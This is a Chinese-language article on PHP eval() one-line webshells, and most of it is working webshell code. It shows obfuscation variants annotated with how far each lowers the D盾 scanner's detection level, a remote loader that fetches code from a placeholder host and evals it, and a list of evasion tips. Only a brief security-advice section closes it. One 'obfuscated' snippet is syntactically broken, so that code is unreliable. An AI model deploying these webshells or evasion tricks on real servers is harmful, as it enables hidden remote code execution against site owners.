PHP eval函数与一句话木马技术分析

1. eval函数基础

eval()是PHP中一个强大的函数，它能够将字符串作为PHP代码执行：

<?php @eval($_GET["code"]); ?>

这是最基础的PHP一句话木马，通过GET参数"code"传入PHP代码并执行。

2. 传统检测与免杀技术

2.1 基础检测

安全软件(如D盾)会直接检测eval($_REQUEST)等明显特征：

<?php $a = $_REQUEST[1]; eval($a); ?>  // D盾4级

2.2 变量引用免杀

通过变量引用可以降低检测级别：

<?php @ $a = $_REQUEST[1]; eval($b =& $a); ?>  // D盾1级

2.3 注释与括号混淆

利用PHP注释/**/和括号()进行混淆：

<?php
$a=call_user_func(function($u){return @$_REQUEST[$u];},'1');
eval(/**/($a));
?>  // D盾0级

3. 高级免杀技术

3.1 回调函数结合混淆

<?php
$a=call_user_func(function($u){return @$_REQUEST[$u];},'1');
eval(/**/($a));
?>

3.2 远程文件加载混淆

原始被检测的代码：

<?php
$a=fopen('http://xxxx/xx.txt','r');
$b='';
while(false!=($c=fread($a,8080))){$b.=$c;}
print(eval(($c=$b)));
fclose($a);
?>  // D盾5级

混淆后的版本：

<?php
$a=/**/fopen('http://www.xxx.com/s9mf.txt','r');
$b='';
while(false!=($c=fread($a,8080))){$b.=$c;}
print/eval(/**/($c=$b)
fclose($a);
?>  // D盾0级

4. 检测规避技巧

1. 体积混淆：增加无意义的字符串扩大文件体积可以降低检测级别
2. 避免回调：不使用回调函数构造的一句话更容易绕过检测
3. 字符串操作：使用字符串操作函数进行混淆
4. 注释与符号：合理使用/**/注释和()括号混淆关键代码

5. 安全建议

1. 生产环境应禁用eval()函数
2. 使用安全扫描工具定期检查代码
3. 对用户输入进行严格过滤
4. 关注安全软件的更新，了解最新的检测技术

6. 总结

eval()函数因其直接执行代码的能力成为一句话木马的核心，安全软件主要通过特征匹配检测危险用法。通过变量引用、注释混淆、括号添加等技术可以有效绕过部分检测，但同时也应认识到这些技术的滥用风险。开发者应优先考虑使用更安全的替代方案，避免在代码中使用eval()执行用户输入。